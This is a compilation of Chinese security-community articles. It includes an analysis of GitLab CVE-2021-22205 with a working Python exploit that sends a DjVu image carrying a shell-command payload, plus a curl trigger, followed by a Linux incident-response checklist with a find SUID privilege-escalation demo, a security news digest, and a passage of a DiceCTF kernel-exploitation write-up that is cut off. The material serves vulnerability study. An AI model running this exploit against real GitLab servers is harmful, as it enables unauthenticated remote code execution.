Gitlab-Workhorse-Api-Request: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRsYWItd29ya2hvcnNlIn0.R5N8IJRIiZUo5ML1rVbTw_HLbJ88tYCqxOeqJNFHfGw
当得到响应后在`PreAuthorize`方法结尾通过`json.NewDecoder(httpResponse.Body).Decode(authResponse)`解析json数据httpResponse.Body到authResponse中，authResponse指向了`Response`结构体，定义如下：
type Response struct {
// GL_ID is an environment variable used by gitlab-shell hooks during 'git
// push' and 'git pull'
GL_ID string
// GL_USERNAME holds gitlab username of the user who is taking the action causing hooks to be invoked
GL_USERNAME string
// GL_REPOSITORY is an environment variable used by gitlab-shell hooks during
// 'git push' and 'git pull'
GL_REPOSITORY string
// GitConfigOptions holds the custom options that we want to pass to the git command
GitConfigOptions []string
// StoreLFSPath is provided by the GitLab Rails application to mark where the tmp file should be placed.
// This field is deprecated. GitLab will use TempPath instead
StoreLFSPath string
// LFS object id
LfsOid string
// LFS object size
LfsSize int64
// TmpPath is the path where we should store temporary files
// This is set by authorization middleware
TempPath string
// RemoteObject is provided by the GitLab Rails application
// and defines a way to store object on remote storage
RemoteObject RemoteObject
// Archive is the path where the artifacts archive is stored
Archive string `json:"archive"`
// Entry is a filename inside the archive point to file that needs to be extracted
Entry string `json:"entry"`
// Used to communicate channel session details
Channel *ChannelSettings
// GitalyServer specifies an address and authentication token for a gitaly server we should connect to.
GitalyServer gitaly.Server
// Repository object for making gRPC requests to Gitaly.
Repository gitalypb.Repository
// For git-http, does the requestor have the right to view all refs?
ShowAllRefs bool
// Detects whether an artifact is used for code intelligence
ProcessLsif bool
// Detects whether LSIF artifact will be parsed with references
ProcessLsifReferences bool
// The maximum accepted size in bytes of the upload
MaximumSize int64
}
总结下这部分的调用结构和流程：
#### gitlab-rails处理认证请求
rails部分的处理是比较关键的，只有在rails正确授权才能上传文件。rails中关于uploads接口的路由文件位于`config/routes/uploads.rb`内。其中一条路由规则为
post ':model/authorize',
to: 'uploads#authorize',
constraints: { model: /personal_snippet|user/ }
请求`/uploads/user/authorize`将匹配这条规则，调用controller`uploads`中的action`authorize`。
controller定义位于`app/controllers/uploads_controller.rb`，在头部include了`UploadsActions`所在的文件。在其中摘抄出关键的代码如下：
class UploadsController < ApplicationController
include UploadsActions
include WorkhorseRequest
# ...
#跳过登录鉴权
skip_before_action :authenticate_user!
before_action :authorize_create_access!, only: [:create, :authorize]
before_action :verify_workhorse_api!, only: [:authorize]
# ...
def find_model
return unless params[:id]
upload_model_class.find(params[:id])
end
# ...
def authorize_create_access!
#unless和if的作用相反
return unless model
authorized =
case model
when User
can?(current_user, :update_user, model)
else
can?(current_user, :create_note, model)
end
render_unauthorized unless authorized
end
def render_unauthorized
if current_user || workhorse_authorize_request?
render_404
else
authenticate_user!
end
end
# ...
authorize定义位于`app/controllers/concerns/uploads_actions.rb`。代码如下：
def authorize
set_workhorse_internal_api_content_type
authorized = uploader_class.workhorse_authorize(
has_length: false,
maximum_size: Gitlab::CurrentSettings.max_attachment_size.megabytes.to_i)
render json: authorized
def model
strong_memoize(:model) { find_model }
end
在UploadsController中要调用到`authorize`还需要先执行前面定义的`before_action`指定的方法`authorize_create_access!`和`verify_workhorse_api!`。一个用于验证上传权限，一个用于检测请求jwt的部分保证来自workhorse。
首先使用exp进行测试，代码如下：
import sys
import requests
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings()
def EXP(url, command):
session = requests.Session()
proxies = {
'http': '127.0.0.1:8080',
'https': '127.0.0.1:8080'
}
try:
r = session.get(url.strip("/") + "/users/sign_in", verify=False)
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",
"Connection": "close",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",
"X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}
flag = 'Failed to process image'
req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)
x = req.text
if flag in x:
print("success!!!")
else:
print("No Vuln!!!")
except Exception as e:
print(e)
if __name__ == '__main__':
EXP(sys.argv[1], sys.argv[2])
通过pry-shell调试，请求到达`authorize_create_access!`。`return unless
model`表示调用model方法只要结果不为真也就是为假就会return。手动调用一下发现返回了nil。
使用step进行步入。
model方法位于uploads_actions.rb中，接下来调用`strong_memoize`传入语句块`{ find_model
}`，将判断实例变量[@model](https://github.com/model
"@model")是否定义。该方法位于`lib/gitlab/utils/strong_memoize.rb`中，代码如下：
module Gitlab
module Utils
module StrongMemoize
def strong_memoize(name)
if strong_memoized?(name)
instance_variable_get(ivar(name))
else
instance_variable_set(ivar(name), yield)
end
end
def strong_memoized?(name)
instance_variable_defined?(ivar(name))
end
def ivar(name)
"@#{name}"
end
[官方文档](https://docs.gitlab.com/ee/development/utilities.html#strongmemoize
"strongmemoize")介绍中解释是用于简化对于实例变量的存取。
代码中[@model](https://github.com/model "@model")为nil
所以会走到else中替换掉yield关键字为传入块中的`find_model`方法并执行来查找设置实例变量[@model](https://github.com/model
"@model")，该方法位于`UploadsController`中，
`find_model`方法从params中取到id，显然并没有，所以直接return了。
由于`authorize_create_access!`的调用中直接return了并没有出现错误，所以最后会走到`authorize`。在该方法中直接渲染了授权后的信息，如`TempPath`上传路径。
数据在workhorse被解析
最后解析图片执行命令造成rce
关于CSRF的防护在gitlab后端中默认对每个请求都有做，如果请求访问rails的特定接口就需要事先获取到session和csrf token。
#### 个人总结思考
以下说说通过`[@rebirthwyw](https://github.com/rebirthwyw
"@rebirthwyw")`师傅文章的分析和我总结的想法：在进入`authorize_create_access!`方法中的直接return应该是非常需要注意的操作，因为直接return就表明了该方法执行通过。这个上传点应该是设计错误导致的未授权访问，不然`authorize_create_access!`方法中的鉴权代码就不需要了，反而是我们在未授权访问/uploads/user接口的时候如果带上了id参数则无法上传。因为携带id后就会通过`current_user`返回当前登录用户。如下图演示所示：
未登录时传入id：
登录后后传入id：
继续回到认证流程的第一步，当在进入`authorize_create_access!`方法后会通过model这个方法来获取一个用户对象。这个用户对象首先肯定是不存在的，因为登录后上传也会走到find_model从参数中获取id。这里假设id存在的情况会走到`authorize_create_access!`中的`case
model`，这里其实又调用了model方法，与之前的调用其实是重复了。之前的调用完全可以删除。
#### gitlab-rails修复
查看`uploads_controller.rb`文件的历史提交记录，发现在9月27日有一条关于此处缺陷的修改。
从以上分析和下面的解释来看，当未获取到id时其中的处理逻辑错误的返回了200：
代码的整改中删除了不合理的判断：
修改后会走到`authorize_create_access!`中的`case
model`，进而执行`find_model`中的`upload_model_class.find(params[:id])`查找id对应账户。由于id不存在，此时查询会直接raise错误，不进⾏下⼀步操作，如下所示：
### 漏洞代码分析-触发流程二
本次漏洞触发方式还存在着延伸，在[rapid7-analysis](https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis
"rapid7-analysis")的分析文章中讲到了一种触发方式是直接访问根目录携带恶意文件不需要获取任何session和token。
curl -v -F 'file=@echo_vakzz.jpg' http://10.0.0.8/$(openssl rand -hex 8)
这让我很是疑惑。在请求了一些帮助后，结合自己的调试分析，下面就来讲讲这种触发方式。
在路由注册中可以看到这么一条路由
当其他所有路由没有匹配到时会走到这里
`defaultUpstream`的定义如下，
uploadPath := path.Join(u.DocumentRoot, "uploads/tmp")
uploadAccelerateProxy := upload.Accelerate(&upload.SkipRailsAuthorizer{TempPath: uploadPath}, proxy, preparers.uploads)
// Serve static files or forward the requests
defaultUpstream := static.ServeExisting(
u.URLPrefix,
staticpages.CacheDisabled,
static.DeployPage(static.ErrorPagesUnless(u.DevelopmentMode, staticpages.ErrorFormatHTML, uploadAccelerateProxy)),
)
根据注释这里应该是走了静态文件处理，调用的`ServeExisting`定义为
func (s *Static) ServeExisting(prefix urlprefix.Prefix, cache CacheMode, notFoundHandler http.Handler) http.Handler
第三个参数是`notFoundHandler`，调用这个Handler最终会层层调用到定义在上方内容为`upload.Accelerate`的`uploadAccelerateProxy`，看到这里就和触发流程一连接起来了。不过这里`Accelerate`传入的处理中间件为`SkipRailsAuthorizer`，转入查看`SkipRailsAuthorizer`的定义：
// SkipRailsAuthorizer实现了一个假的PreAuthorizer，它不调用rails API
// 每次调用进行本地授权上传到TempPath中
type SkipRailsAuthorizer struct {
// TempPath is the temporary path for a local only upload
TempPath string
}
// PreAuthorizeHandler实现了PreAuthorizer. 其中并没有与rails进行交互。
func (l *SkipRailsAuthorizer) PreAuthorizeHandler(next api.HandleFunc, _ string) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
next(w, r, &api.Response{TempPath: l.TempPath})
})
}
从说明和代码中可以看出`PreAuthorizeHandler`中直接调用了`next`来进行下一步的上传准备操作，并没有进行任何鉴权。其中指定了一个上传的目录为`uploads/tmp`。
首先我们在文件中携带payload`echo 2 > /tmp/rce.txt`，使用curl发起请求
走到`ServeExisting`中判断`content`为nil时会调用`OpenFile`传入`/opt/gitlab/embedded/service/gitlab-rails/public`
在`OpenFile`判断传入的是目录时会返回错误
所以将走到下面的`notFoundHandler.ServeHTTP(w,
r)`，这是`ServeExisting`第三个参数传入的`DeployPage`。
之后的`DeployPage`还存在着一个判断就是读取指定根目录下的index.html文件，这里由于deployPage未正确赋值，所以走到了err的处理流程里调用`ErrorPagesUnless`
最后的调用堆栈为
文件被解析执行恶意命令
其后写入了/upload/tmp目录中
至于为什么gitlab会在匹配不到请求文件时检测上传的文件并上传到tmp目录下，个人猜测可能是一种缓存策略，用于加速访问。
经测试在最新版本的gitlab中也可以通过这种方式上传缓存文件到tmp目录，不同的是当上传处理结束时会立马删除该文件。
## 总结
在分析漏洞的过程中不断的收集了大量的资料来进行相关功能点前后逻辑调用的梳理和调试，其中容易踩坑或者无法想通点或多或少都在官方文档中有所提及，善于查询、搜索和利用官方文档或者搜索引擎，对于一些开源项目可以多翻翻issues，很有可能就能找到别人提出过跟你所想的问题。勤动手，善思考，如果你对一个东西持续的关注将会培养一种异乎寻常的敏感。 | 社区文章 |
# 应急事件检测 入门篇-Linux信息检测
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、系统用户信息收集
确定系统中是否有一个看起来可疑的用户
Cat/etc/passwd
查看用户密码信息，且只有root用户可以查看。
cat /etc/shadow
查看用户组信息
cat/etc/group
快速定位sudo组
查看当前登录系统用户信息
whoami
w
who
netstat -pantu 查看网络状态
启动ssh服务。
使用ssh 127.0.0.1 登录。
last //查看登录记录
lastb //查看登录日志记录
## 二、linux系统文件信息收集
ls -alh 查看当前路径下的文件信息
识别系统中任何过大的文件及其权限
find /home/ -type f -size +512k -exec ls -lh {} \; //查看home目录下文件大于512k的文件信息
找到所有SUID的文件
find / -perm -u=s -type f 2>/dev/null
查找用户有su权限的文件目录。
find命令suid提权
which find //查看文件路径
chmod u+s /usr/bin/find 给用户添加s的权限
ls -la /usr/bin/find 查看find的权限
使用之前的命令，发现他已经被添加到suid文件中。
find / -perm -u=s -type f 2>/dev/null
find . -exec “whoami” \; 查看文件权限，权限为root用户的权限
创建test文件，查看test的文件权限.
## 三、系统资源信息
查看服务器已经运行了多长时间、系统中的当前时间、当前登录了多少用户以及系统的平均负载
uptime
查看Linux中系统的内存使用情况，系统中使用的物理内存和交换内存，以及内核使用的缓冲区
free
检查系统上是否存在未知的挂载
cat /proc/mounts
## 四、服务信息
service —status-all //获取当前系统所有服务信息 +开启 -关闭
cat /etc/crontab 查看计划任务的信息
筛选开启的服务
more /etc/resolv.conf 查看DNS服务的ip地址
more /etc/hosts 查看
iptables -L -n 查看防火墙规则
## 五、网络信息收集
arp指令用来管理系统的arp缓冲区，可以显示、删除、添加静态mac地址。
arp -vn
添加静态映射
arp -i eth0 -s IP地址 MAC地址
显示网络连接信息
netstat -pantu
IP地址信息查看
ifconfig
ip a
## 六、应急响应流程
### 01应急响应取证
定义：计算机调查取证，是法医学下的一个分支，与法医相似，计算机调查取证是有关从计算机中获取电子证据并加以分析的过程。
使调查的结果能够经受法庭的检查。
### 02应急响应根除
方法：
利用杀毒软件、杀毒脚本、手工查杀等方式彻底消除病毒，并检测整个网络系统，以确保不要留下后门。
针对不同操作系统，使用打补丁、修改安全配置和增加系统带宽的方式，降低安全风险。
### 03应急响应恢复
方法：
利用备份文件恢复用户数据和配置信息
将受到入侵和可能存储漏洞的服务关闭，修改后重启服务
连接网络，恢复业务，持续监控并进行汇总分析
### 04应急响应报告
方法：
1、事情经过
2、事件成因
3、评估事件影响
4、采取措施
5、事后系统定级、备案、测评等情况
## 总结：
本文主要从完整的Linux的应急响应过程出发，主要包括系统用户信息收集、linux系统文件信息收集、系统资源信息、服务信息、网络信息收集，最后梳理整个应急响应流程。 | 社区文章 |
# 【知识】9月25日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Python
PyYAML反序列化漏洞实验和Payload构造、FLIR系统存在多处漏洞、Sentora/ZPanel密码重置漏洞、beef+msf实现内网渗透
、我是如何拿到google 13337刀赏金的**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
********
********
微软和 Canonical 合作构建定制 Linux 内核
Adobe 安全团队不小心公开了他们的私钥
**
******
**技术类：** ****
********
Python PyYAML反序列化漏洞实验和Payload构造
<http://www.polaris-lab.com/index.php/archives/375/>
Python反序列化漏洞浅析与利用(pickle模块)
<https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html>
FLIR系统存在多处漏洞
<https://blogs.securiteam.com/index.php/archives/3411>
CLKSCREW: 可持续能源管理暴露的安全风险
<https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/tang>
Sentora/ZPanel密码重置漏洞
<https://blogs.securiteam.com/index.php/archives/3386>
向运行的Python进程中注入代码
[https://github.com/lmacken/pyrasite](https://github.com/lmacken/pyrasite)
我是如何拿到google 13337刀赏金的
<https://thesecurityexperts.wordpress.com/2017/09/24/how-i-got-13337-bounty-from-google/>
Linux堆漏洞利用系列：1字节溢出
<https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-the-magicians-cape-1-byte-overflow/>
在社交平台（Facebook）上发布登机牌的信息可能导致你的账户信息被盗用
<https://www.michalspacek.com/post-a-boarding-pass-on-facebook-get-your-account-stolen>
beef+msf实现内网渗透
<http://foreversong.cn/archives/470>
A web viewer for RF spectrum data
<https://github.com/acg/spectool-web>
Starting in cybersecurity?Here are my few tips on how to get started on the
technical side of computer hacking
<https://blog.0day.rocks/starting-in-cybersecurity-5b02d827fb54>
dbghost.exe – Ghost And The Darkness
<http://subt0x10.blogspot.co.uk/2017/09/dbghostexe-ghost-in-darkness.html> | 社区文章 |
# 2021_DiceCTF_hashbrown 一道内核题目
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一道内核题目的学习，虽然之前做过一些内核题目，但是本题还是有一些新的点要学习。
## 0x00 题目描述
Who doesn’t like hashbrowns? I like them so much that I wrote a driver named
after them! But apparently programming is hard and I might have made a
mistake…
Please note that the following measures are active (whether they are important
to the exploit process is up to you):
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB=y
CONFIG_FG_KASLR=y
SMAP, SMEP, and KPTI are enabled as well.
nc hashbrown.dicec.tf 31337
Note: only one connection per IP is allowed, and there is a 10 minute wall-clock time limit from the moment you connect. Test locally!s
## 0x01 背景知识
##### KPTI保护机制
题目描述中
SMAP, SMEP, and KPTI are enabled as well.
其余的保护机制还是可以，这个之前没有怎么注意过
linux内核从4.15开始支持KPTI，windows上把这个叫KVA Shadow，原理类似。
这个保护机制的出处是CPU漏洞（Meltdown和Spectre，关于这个漏洞的细节暂时不多介绍，有很多介绍的blog，去年的华为XCTF也出过相关的题目），漏洞的原因是CPU猜测性的提前执行一些代码，让处理器开始执行通常会被阻止的指令（比如以用户态读取内核内存），并在权限检查发生前就将该指令执行完毕。
创建KAISER补丁集的奥地利格拉茨技术大学科学家们，正是发现可以通过对CPU虚拟内存系统的边信道攻击，抽取内核内存布局信息以挫败KASLR防护的那个团队。该团队提出，分隔内核与用户空间可防止此类信息泄露，而他们的研究正是这一轮KPTI补丁的灵感来源。
KPTI:
进程地址空间被分成了内核地址空间和用户地址空间，其中内核地址空间映射到了整个物理地址空间，而用户地址空间只能映射到指定的物理地址空间。内核地址空间和用户地址空间共用一个页全局目录表。为了彻底防止用户程序获取内核数据，可以令内核地址空间和用户地址空间使用两组页表集。
对于后面的利用过程，这个保护机制影响不大，想多了解的可以访问参考链接
##### SLAB SLUB机制
题目描述中
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB=y
之前对这个机制相对熟悉，最近放了，看几篇博客学习一下（本部分参考了下面的博客）
SLAB/SLUB/SLOB，slub分配器是slab分配器的进化版，而slob是一种精简的小内存分配算法。
SLAB 和 SLUB是内核内存管理机制的一部分
内核版本2.6以上默认使用的管理机制SLUB
slab alloctor可以理解为内存的分配器，可以管理内存页，SLAB是很多slab allocator的集合。
如果两次分配tasks struct结构，这两个对象对象来自同一个SLAB cache，因为具有同样的类型和大小
SLUB解决了一些SLAB的一些缺点，在SLAB中页的freelist指针指向第一个free obj ，free obj同样有freelist
ptr指向下一个free obj，如下图所示
可以使用cat /proc/slabinfo查看信息
相对于SLAB ， SLUB多了一个freelist metadata，通过篡改这个数据可以实现一个地址分配，所以本题算是多了保护措施
##### FG-KASLR
题目描述中
CONFIG_FG_KASLR=y
平时的时候做题大都是KASLR，这个FG-KALSR是在KALSR上面附加的随机化
KALSR就像是用户空间的ALSR，每次系统启动的时候，内核镜像装载的基地址是随机的。在KALSR的情况下，函数地址与内核加载的基地址偏移是固定的，我们可以泄露函数地址，然后利用偏移得到基地址。
但是在FG-KALSR下，部分函数与内核基地址之前的偏移在每次启动的时候是不一样的。FG-KALSR应用的函数具有一下特征：函数是用C语言写的；函数没有位于一些特定的段。指向内核数据和一些内核代码的函数地址与内核基地址之前的偏移是固定的
下面是之前看博客的时候，一些不被影响的量
KPTI trampoline `swapgs_restore_regs_and_return_to_usermode()` is unaffected.
The kernel symbol table `ksymtab` is unaffected.
之前出现过这个保护机制的题目
<https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/>
<https://lkmidas.github.io/categories/pwning/>
## 0x02 基本的操作
将所有下载的文件拖到虚拟机
对bzImage文件进行解压得到vmlinux
对文件系统进行解压
cpio -idmv < initramfs.cpio
得到下面的文件们
查看init脚本
#!/bin/sh
export PATH=/bin
[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /run ] || mkdir /run
[ -d /root ] || mkdir /root
[ -d /etc ] || mkdir /etc
[ -d /home ] || mkdir /home
echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'root:x:0:' > /etc/group
chmod 644 /etc/passwd
chmod 644 /etc/group
adduser ctf --disabled-password 2>/dev/null
chown -R root:root /
chmod 700 -R /root
chmod 600 -R /flag.txt
chmod 700 -R /hashbrown.ko
chown ctf:ctf /home/ctf
chmod 777 /home/ctf
chmod 755 /dev
mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mkdir -p /dev/pts
mkdir -p /var/lock
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
ln -sf /proc/mounts /etc/mtab
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
insmod hashbrown.ko
chmod 666 /dev/hashbrown
echo "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
cd /home/ctf
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 1 -n -f
查看run.sh
#!/bin/sh
exec qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel "/app/bzImage" \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smep,+smap \
-monitor /dev/null \
-initrd "/app/initramfs.cpio" \
-smp 2 \
-smp cores=2 \
-smp threads=1
注意到kaslr smep smap
smp 2可能存在竞争
还有 -kernel 和 -initrd文件的位置要修改
## 0x03 题目的分析
根据题目的意思，漏洞应该是出现在hash_brown驱动上，而且这个源码也已经下发了下面就是对源码的分析了
首先贴一下源码
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#define DEVICE_NAME "hashbrown"
#define CLASS_NAME "hashbrown"
MODULE_AUTHOR("FizzBuzz101");
MODULE_DESCRIPTION("Here's a hashbrown for everyone!");
MODULE_LICENSE("GPL");
#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b
#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size >> 2)
#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4
static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg);
static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl = hashmap_ioctl};
typedef struct
{
uint32_t key;
uint32_t size;
char *src;
char *dest;
}request_t;
struct hash_entry
{
uint32_t key;
uint32_t size;
char *value;
struct hash_entry *next;
};
typedef struct hash_entry hash_entry;
typedef struct
{
uint32_t size;
uint32_t threshold;
uint32_t entry_count;
hash_entry **buckets;
}hashmap_t;
hashmap_t hashmap;
static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);
static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry, hash_entry **new_buckets);
static noinline void resize_clean_old(void);
static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest);
#pragma GCC push_options
#pragma GCC optimize ("O1")
static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
long result;
request_t request;
uint32_t idx;
if (cmd == ADD_KEY)
{
if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX)
{
mutex_lock(&resize_lock);
result = resize((request_t *)arg);
mutex_unlock(&resize_lock);
return result;
}
}
mutex_lock(&operations_lock);
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))//参数arg 是request的结构
{
result = INVALID;
}
else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES)
{
result = MAXED;
}
else
{
idx = get_hash_idx(request.key, hashmap.size);
switch(cmd)
{
case ADD_KEY:
result = add_key(idx, request.key, request.size, request.src);
break;
case DELETE_KEY:
result = delete_key(idx, request.key);
break;
case UPDATE_VALUE:
result = update_value(idx, request.key, request.size, request.src);
break;
case DELETE_VALUE:
result = delete_value(idx, request.key);
break;
case GET_VALUE:
result = get_value(idx, request.key, request.size, request.dest);
break;
default:
result = INVALID;
break;
}
}
mutex_unlock(&operations_lock);
return result;
}
static uint32_t get_hash_idx(uint32_t key, uint32_t size)
{
uint32_t hash;
key ^= (key >> 20) ^ (key >> 12);
hash = key ^ (key >> 7) ^ (key >> 4);
return hash & (size - 1);
}
static noinline void resize_add(uint32_t idx, hash_entry *entry, hash_entry **new_buckets)
{
if (!new_buckets[idx])
{
new_buckets[idx] = entry;
}
else
{
entry->next = new_buckets[idx];
new_buckets[idx] = entry;
}
}
static noinline void resize_clean_old()
{
int i;
hash_entry *traverse, *temp;
for (i = 0; i < hashmap.size; i++)
{
if (hashmap.buckets[i])
{
traverse = hashmap.buckets[i];
while (traverse)
{
temp = traverse;
traverse = traverse->next;
kfree(temp);
}
hashmap.buckets[i] = NULL;
}
}
kfree(hashmap.buckets);
hashmap.buckets = NULL;
return;
}
static long resize(request_t *arg)
{
hash_entry **new_buckets, *temp_entry, *temp;
request_t request;
char *temp_data;
uint32_t new_size, new_threshold, new_idx;
int i, duplicate;
if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t)))//首先获取用户的arg
{
return INVALID;
}
if (request.size < 1 || request.size > MAX_VALUE_SIZE)
{
return INVALID;
}
new_size = hashmap.size * 2;
new_threshold = GET_THRESHOLD(new_size);
new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);
if (!new_buckets)
{
return INVALID;
}
duplicate = 0;
for (i = 0; i < hashmap.size; i++)//对之前的进行处理
{
if (hashmap.buckets[i])
{
for (temp_entry = hashmap.buckets[i]; temp_entry != NULL; temp_entry = temp_entry->next)
{
if (temp_entry->key == request.key)//
{
duplicate = 1;
}
new_idx = get_hash_idx(temp_entry->key, new_size);
temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
if (!temp)
{
kfree(new_buckets);
return INVALID;
}
temp->key = temp_entry->key;
temp->size = temp_entry->size;
temp->value = temp_entry->value;
resize_add(new_idx, temp, new_buckets);
}
}
}
if (!duplicate)
{
new_idx = get_hash_idx(request.key, new_size);
temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
if (!temp)
{
kfree(new_buckets);
return INVALID;
}
temp_data = kzalloc(request.size, GFP_KERNEL);
if (!temp_data)
{
kfree(temp);
kfree(new_buckets);
return INVALID;
}
if (copy_from_user(temp_data, request.src, request.size))
{
kfree(temp_data);
kfree(temp);
kfree(new_buckets);
return INVALID;
}
temp->size = request.size;
temp->value = temp_data;
temp->key = request.key;
temp->next = NULL;
resize_add(new_idx, temp, new_buckets);
hashmap.entry_count++;
}
resize_clean_old();
hashmap.size = new_size;
hashmap.threshold = new_threshold;
hashmap.buckets = new_buckets;
return (duplicate)?EXISTS:0;
}
static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src)
{
hash_entry *temp_entry, *temp;
char *temp_data;
if (size < 1 || size > MAX_VALUE_SIZE)
{
return INVALID;
}
temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
temp_data = kzalloc(size, GFP_KERNEL);
if (!temp_entry || !temp_data)
{
return INVALID;
}
if (copy_from_user(temp_data, src, size))//将用户的数据拷贝到内核heap
{
return INVALID;
}
temp_entry->key = key;
temp_entry->size = size;
temp_entry->value = temp_data;
temp_entry->next = NULL;
if (!hashmap.buckets[idx])//这个可以说是一个全局chunk_pool
{
hashmap.buckets[idx] = temp_entry;
hashmap.entry_count++;
return 0;
}
else //如果对应的idx存在数据就加在它的后面 , 但是这样不是hashmap.buckets没有存chunk吗？
{
for (temp = hashmap.buckets[idx]; temp->next != NULL; temp = temp->next)
{
if (temp->key == key)
{
kfree(temp_data);
kfree(temp_entry);
return EXISTS;
}
}
if (temp->key == key)
{
kfree(temp_data);
kfree(temp_entry);
return EXISTS;
}
temp->next = temp_entry;
hashmap.entry_count++;
return 0;
}
}
static long delete_key(uint32_t idx, uint32_t key)
{
hash_entry *temp, *prev;
if (!hashmap.buckets[idx])//检测ptr
{
return NOT_EXISTS;
}
if (hashmap.buckets[idx]->key == key)//检测key
{
temp = hashmap.buckets[idx]->next;
if (hashmap.buckets[idx]->value)
{
kfree(hashmap.buckets[idx]->value);
}
kfree(hashmap.buckets[idx]);
hashmap.buckets[idx] = temp;
hashmap.entry_count--;
return 0;
}
temp = hashmap.buckets[idx];
while (temp != NULL && temp->key != key)
{
prev = temp;
temp = temp->next;
}
if (temp == NULL)
{
return NOT_EXISTS;
}
prev->next = temp->next;
if (temp->value)
{
kfree(temp->value);
}
kfree(temp);
hashmap.entry_count--;
return 0;
}
static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src)
{
hash_entry *temp;
char *temp_data;
if (size < 1 || size > MAX_VALUE_SIZE)
{
return INVALID;
}
if (!hashmap.buckets[idx])//检测ptr
{
return NOT_EXISTS;
}
for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next)
{
if (temp->key == key)
{
